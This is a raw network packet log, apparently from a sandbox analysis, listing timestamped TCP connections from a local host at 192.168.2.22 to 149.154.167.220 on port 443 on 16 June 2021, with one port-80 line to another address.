Jun 16, 2021 12:06:32.364949942 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.364993095 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.365020037 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.365031004 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.365046024 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.365065098 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.365098000 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.365108967 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.365150928 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.365220070 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.365232944 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.365303993 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.365308046 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.365375042 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.365418911 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.365480900 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.387155056 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.416961908 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.417013884 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.417043924 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.417047977 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.417088032 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.417171955 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.417198896 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.417372942 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.417403936 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.417515039 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.417624950 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.417746067 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.417830944 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.418917894 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.439176083 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.439318895 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.468875885 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.468915939 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.468967915 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.469067097 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.521054983 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.523751974 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.523813009 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.523854971 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.523885012 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.523893118 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.523966074 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.529769897 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.529809952 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.529942036 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.578277111 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.635493040 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.860757113 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.902851105 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.902952909 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.979569912 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:33.031831026 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.035109043 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:33.087053061 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.087299109 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:33.139189005 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.139214039 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.139260054 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:33.139322996 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:33.191155910 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.191178083 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.191186905 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.191344976 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:33.232400894 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.232424021 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.232505083 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:33.234750032 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.234842062 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:33.243264914 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.243294954 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.243313074 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.243331909 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.243350029 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.243366003 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.243377924 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.243388891 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.243397951 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:33.243472099 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:33.243494034 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:33.243505955 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:33.243529081 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:33.243552923 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:33.286648035 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.286673069 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.286744118 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:33.286798000 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:33.295312881 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.295331955 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.295339108 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.295346022 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.295380116 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.295430899 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.295458078 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.295460939 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:33.295500040 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.295561075 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.295572996 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.295643091 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.295655012 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.295700073 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.295792103 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.295815945 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.295906067 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.295984983 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.339729071 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.339772940 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.339797020 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.347309113 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.347349882 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.347376108 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.347410917 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.932050943 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.932071924 CEST	443	49177	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:33.932173014 CEST	49177	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:37.874710083 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:37.926624060 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:37.927638054 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:38.390105009 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:38.442095995 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:38.442200899 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:38.443186998 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:38.494998932 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:38.495254993 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:38.495281935 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:38.495300055 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:38.495316982 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:38.495357990 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:38.495425940 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:38.502058983 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:38.502087116 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:38.502134085 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:39.163724899 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:39.222132921 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.262826920 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:39.314810038 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.324856043 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:39.376996040 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.379792929 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:39.431889057 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.431931019 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.435312033 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:39.487293005 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.487317085 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.487521887 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.487637043 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:39.539530039 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.539550066 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.539556980 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.539566994 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.539630890 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:39.539654970 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.539690971 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.539705038 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:39.539731026 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:39.539752960 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:39.539788008 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.539865971 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.539946079 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:39.591566086 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.591586113 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.591599941 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.591610909 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.591643095 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:39.591887951 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.591939926 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.591949940 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.592005014 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.592015982 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.592022896 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.592116117 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.592490911 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.643599033 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.643636942 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:39.687225103 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:40.218852997 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:40.218883991 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:40.218947887 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:43.773078918 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:43.824827909 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:43.824999094 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:43.826287985 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:43.877976894 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:43.878007889 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:43.878021955 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:43.878034115 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:43.878050089 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:43.878190041 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:43.884701967 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:43.884732962 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:43.884812117 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:43.925266027 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:43.982994080 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:43.987133980 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:44.041311026 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.045444012 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:44.097223997 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.097389936 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:44.149245024 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.149262905 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.149308920 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:44.149331093 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:44.201107025 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.201138020 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.201144934 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.201155901 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.201247931 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:44.201297045 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:44.253037930 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.253065109 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.253079891 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.253093958 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.253123999 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:44.253158092 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:44.253182888 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:44.253220081 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.253272057 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:44.294579983 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.294653893 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:44.304908037 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.304932117 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.304944992 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.304963112 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.304987907 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:44.305005074 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:44.305124044 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.305166006 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.305211067 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.305284977 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.305318117 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.305358887 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.305402040 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.305414915 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.305434942 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.305480003 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.305521011 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.305558920 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.305599928 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.346352100 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.356794119 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.356818914 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.356829882 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.356841087 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.356852055 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.878618002 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.878638029 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:44.880178928 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:45.423715115 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:46.416724920 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:46.469795942 CEST	443	49178	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:46.469933987 CEST	49178	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:46.713227034 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:46.765084982 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:46.765173912 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:46.774795055 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:46.826848030 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:46.827327013 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:46.827353001 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:46.827368021 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:46.827380896 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:46.827410936 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:46.827434063 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:46.833290100 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:46.833331108 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:46.833385944 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:46.867003918 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:46.925112963 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:46.930733919 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:46.984930038 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:46.990151882 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:47.042095900 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.042224884 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:47.094115973 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.094139099 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.094341040 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:47.147536039 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.147558928 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.147691011 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:47.147731066 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:47.189156055 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.189240932 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:47.202254057 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.202285051 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.202292919 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.202300072 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.202311039 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.202318907 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.202709913 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:47.241172075 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.241373062 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:47.254602909 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.254628897 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.254636049 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.254643917 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.254654884 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.254662037 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.254672050 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.254722118 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.254733086 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.254762888 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.254811049 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.254822016 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.254878998 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:47.254909039 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.254920959 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.254970074 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.293220997 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.293247938 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.293255091 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.293262005 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.306683064 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.306710005 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.306715965 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.306744099 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.306788921 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.925965071 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.925992966 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:47.926496983 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:48.769316912 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:48.821104050 CEST	443	49179	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:48.821211100 CEST	49179	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:48.912435055 CEST	49181	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:48.964253902 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:48.965384960 CEST	49181	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:48.966737986 CEST	49181	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:49.018429995 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.018464088 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.018476963 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.018493891 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.018503904 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.018855095 CEST	49181	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:49.024821043 CEST	443	49181	149.154.167.220	192.168.2.22
